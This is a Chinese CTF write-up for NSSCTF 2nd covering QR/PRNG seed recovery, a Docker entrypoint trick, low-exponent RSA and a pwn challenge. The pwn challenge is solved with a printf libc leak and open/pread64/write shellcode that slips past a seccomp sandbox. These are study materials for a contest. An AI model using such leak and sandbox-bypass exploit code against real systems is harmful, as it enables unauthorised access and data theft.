NSSCTF 2nd wp


NSSCTF 2nd WP

MISC

gift_in_qrcode

import qrcode
from PIL import Image
from random import randrange, getrandbits, seed
import os
import base64

flag = os.getenv("FLAG")
if flag == None:
    flag = "flag{test}"

secret_seed = randrange(1, 1000)
seed(secret_seed)
reveal = []
for i in range(20):
    reveal.append(str(getrandbits(8)))
target = getrandbits(8)
reveal = ",".join(reveal)

img_qrcode = qrcode.make(reveal)
img_qrcode = img_qrcode.crop((35, 35, img_qrcode.size[0] - 35, img_qrcode.size[1] - 35))

offset, delta, rate = 50, 3, 5
img_qrcode = img_qrcode.resize(
    (int(img_qrcode.size[0] / rate), int(img_qrcode.size[1] / rate)), Image.LANCZOS
)
img_out = Image.new("RGB", img_qrcode.size)
for y in range(img_qrcode.size[1]):
    for x in range(img_qrcode.size[0]):
        pixel_qrcode = img_qrcode.getpixel((x, y))
        if pixel_qrcode == 255:
            img_out.putpixel(
                (x, y),
                (
                    randrange(offset, offset + delta),
                    randrange(offset, offset + delta),
                    randrange(offset, offset + delta),
                ),
            )
        else:
            img_out.putpixel(
                (x, y),
                (
                    randrange(offset - delta, offset),
                    randrange(offset - delta, offset),
                    randrange(offset - delta, offset),
                ),
            )

img_out.save("qrcode.png")
with open("qrcode.png", "rb") as f:
    data = f.read()
print("This my gift:")
print(base64.b64encode(data).decode(), "\n")

print(target)

ans = input("What's your answer:")
if ans == str(target):
    print(flag)
else:
    print("No no no!")

题目所给附件内容如上

分析过后发现直接输入打印出的target即可获得flag

Magic Docker

题目提示执行命令,docker run randark/nssctf-round15-magic-docker

执行过后发现要求输入secrect

查看docker文件

发现app文件下的miain.py文件为

import click
import random
import sys
import os
from time import sleep

@click.command()
@click.option('--secret',help='default=none,between 0 and 100',type=int)
def func(secret):
    if str(secret)==str(answer):
        print("Congratulations!")
        print("But where is your flag?  (=‵ω′=)")
    else:
        print("No! You don't know anything about docker!")
        print("How dare you! ")

BANNER="""
███╗   ██╗███████╗███████╗ ██████╗████████╗███████╗    ██████╗ ███╗   ██╗██████╗            
████╗  ██║██╔════╝██╔════╝██╔════╝╚══██╔══╝██╔════╝    ╚════██╗████╗  ██║██╔══██╗           
██╔██╗ ██║███████╗███████╗██║        ██║   █████╗       █████╔╝██╔██╗ ██║██║  ██║           
██║╚██╗██║╚════██║╚════██║██║        ██║   ██╔══╝      ██╔═══╝ ██║╚██╗██║██║  ██║           
██║ ╚████║███████║███████║╚██████╗   ██║   ██║         ███████╗██║ ╚████║██████╔╝           
╚═╝  ╚═══╝╚══════╝╚══════╝ ╚═════╝   ╚═╝   ╚═╝         ╚══════╝╚═╝  ╚═══╝╚═════╝            
                                                                                            
███╗   ███╗ █████╗  ██████╗ ██╗ ██████╗    ██████╗  ██████╗  ██████╗██╗  ██╗███████╗██████╗ 
████╗ ████║██╔══██╗██╔════╝ ██║██╔════╝    ██╔══██╗██╔═══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
██╔████╔██║███████║██║  ███╗██║██║         ██║  ██║██║   ██║██║     █████╔╝ █████╗  ██████╔╝
██║╚██╔╝██║██╔══██║██║   ██║██║██║         ██║  ██║██║   ██║██║     ██╔═██╗ ██╔══╝  ██╔══██╗
██║ ╚═╝ ██║██║  ██║╚██████╔╝██║╚██████╗    ██████╔╝╚██████╔╝╚██████╗██║  ██╗███████╗██║  ██║
╚═╝     ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═╝ ╚═════╝    ╚═════╝  ╚═════╝  ╚═════╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
                                                                                            

"""

if __name__ == "__main__":
    os.system("rm -f /flag")
    print(BANNER)
    random.seed("NSSCTF 2nd")
    answer=random.randint(0,100)
    if len(sys.argv)<2:
        print("You need to give me the secret!")
    else:
        func()

若按照预设命令执行完main.py后,容器会删除flag文件

所以我们自定义docker启动命令

直接执行cat /flag

image-20230829233059165

gift_in_qrcode(revenge)

链接一下得到一堆Base64编码

先写个脚本解码Base64保存为png

import base64

# Paste the Base64 encoded string here
base64_string = "your_base64_string_here"

# Decode the Base64 string
decoded_data = base64.b64decode(base64_string)

# Save the decoded data as a PNG file
with open("image.png", "wb") as f:
    f.write(decoded_data)

扫码得到二十个随机数

根据计算随机数种子,并计算下一个随机数,输入程序中即可拿到flag

from random import randrange, getrandbits, seed

def poc():
    for i in range(1,1000):
        secret_seed = i
        seed(secret_seed)
        a = [97,45,232,198,115,215,226,198,32,189,8,210,84,11,150,134,221,207,167,176]
        reveal = []
        for i in range(20):
            reveal.append(getrandbits(8))
        if reveal == a:
            flag = getrandbits(8)
            return flag
    return False
print(poc())

image-20230830001615052

然后最无脑的爆破来了

为什么要爆这么久,早知道我再多爆一会的..

from pwn import *

count = 0
while True:
    conn = remote("node5.anna.nssctf.cn", 28380)
    conn.recvline().decode()
    conn.recvline().decode()
    conn.recv().decode()

    conn.sendline(str('110').encode())

    count += 1
    print('count:', count)

    output = conn.recvline().decode()
    if 'No no no!' not in output:
        print(output)
        break

image-20230830001858060

Crypto

EzRSA

发现e - 3 ,低加密指数爆破

脚本一把梭

import binascii
import gmpy2

e = 3
# 读入 n, 密文
n = 115383855234466224643769657979808398804254899116842846340552518876890834212233960206021018541117724144757264778086129841154749234706140951832603640953383528482125663673926452745186670807057426128028379664506531814550204605131476026038420737951652389070818761739123318769460392218629003518050621137961009397857

c = 5329266956476837379347536739209778690886367516092584944314921220156032648621405214333809779485753073093853063734538746101929825083615077

i = 0
while 1:
    res = gmpy2.iroot(c+i*n,3)
    if(res[1] == True):
        m=res[0]
        print(binascii.unhexlify(hex(m)[2:].strip("L")))
        break
    print("i="+str(i))
    i = i+1

NSSCTF{Rea1_Si9n3n}

FunnyEncrypt

image-20230830002659009

本来想看看能不能词频分析的,结果发现完全对不到

只好根据已知的nssctf和前面的一堆话里面寻找符合预感的字符与字母对应关系 , 慢慢对应着可以找到的

PWN

happy

主函数首先绕过proof,接着fork一个子进程,在父进程中进行一个有沙箱限制的shellcode执行

这个地方在调试的时候可能容易卡住,需要用set follow-fork-mode parent停留在父进程继续调试

首先我们来看proof函数

image-20240204233943567

要想让v4=v3,那么只能通过printf看看可不可以把一些信息泄露出来,然后再通过计算得到puts的地址

通过调试能够发现,printf可以把栈上的数据打印出来,这里选择泄露出_IO_2_1_stderr_的libc地址

计算得到puts的真实地址,绕过proof检测

这里一定注意scanf函数的一些特性,特别是涉及到\n,+-号函数是会部分忽略还是完全忽略还是正常调用十分关键,这可以帮助节约大量调试的时间

参考:https://blog.csdn.net/qq_54218833/article/details/121308367

接下来就是shellcode的编写了

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0LL, 42LL, 0LL);
  seccomp_rule_add(v1, 0LL, 57LL, 0LL);
  seccomp_rule_add(v1, 0LL, 322LL, 0LL);
  return seccomp_load(v1);
}

可以看出来禁用了read,connect,execve 调用

这里用open,pread64,write绕过

写exp

 from Excalibur import*

contextset()
proc('./pwn')

#debug('b *0x4013FA\nb *0x401514\n')
#debug('b *0x40142E\nb *0x401490\n')
#debug('b *0x401508\n')
debug('b *0x401563\n')


el('./pwn')
lib('./libc.so.6')


puts_got = got('puts')#0x403FF0
stderr = libcsym('_IO_2_1_stderr_')
puts = libcsym('puts')


sla(b'konw',b'16')

for i in range(0,16):
    sl(b'+')

#sl(b'a')


ru(b'0')
std = int(rec(15))
prh(std)

libcbase = std - stderr

puts = libcbase+puts
prh(puts)
pr(str(puts))

sda(b'try',str(puts))


bss = 0x4040A0
shellcode ='''
nop
nop
push 0x67616c66
mov rdi, rsp
xor rdx, rdx
xor rsi, rsi
push 0x2
pop rax
syscall
'''
#shellcraft.open("flag")
shellcode += '''
push 0x11
pop rax
push 0x4041A0
pop rsi
push 0x3
pop rdi
push 0x64
pop rdx
push 0x0
pop r10
syscall
'''
shellcode += shellcraft.write(1,bss + 0x100, 100)

shellcode = asm(shellcode)

print(shellcode)
print(len(shellcode))

sl(shellcode)



ia()

image-20240205000529665

NewBottleOldWine


文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录